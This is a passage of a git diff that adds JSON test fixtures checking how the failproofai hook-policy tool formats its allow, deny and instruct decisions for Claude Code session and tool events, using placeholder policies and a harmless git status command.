a/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2373a946 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fd849d3f --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..95edfe67 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..41895469 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..086f60fe --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6c881552 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bf3e76ab --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..91af6c00 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2cd26dfb --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a77bdbe0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2dc11e4e --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3d870329 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ec62e0a0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d2646945 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..05736eab --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..77b706b2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..84379c20 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..060995f4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bbbebd2f --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..dec13043 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + 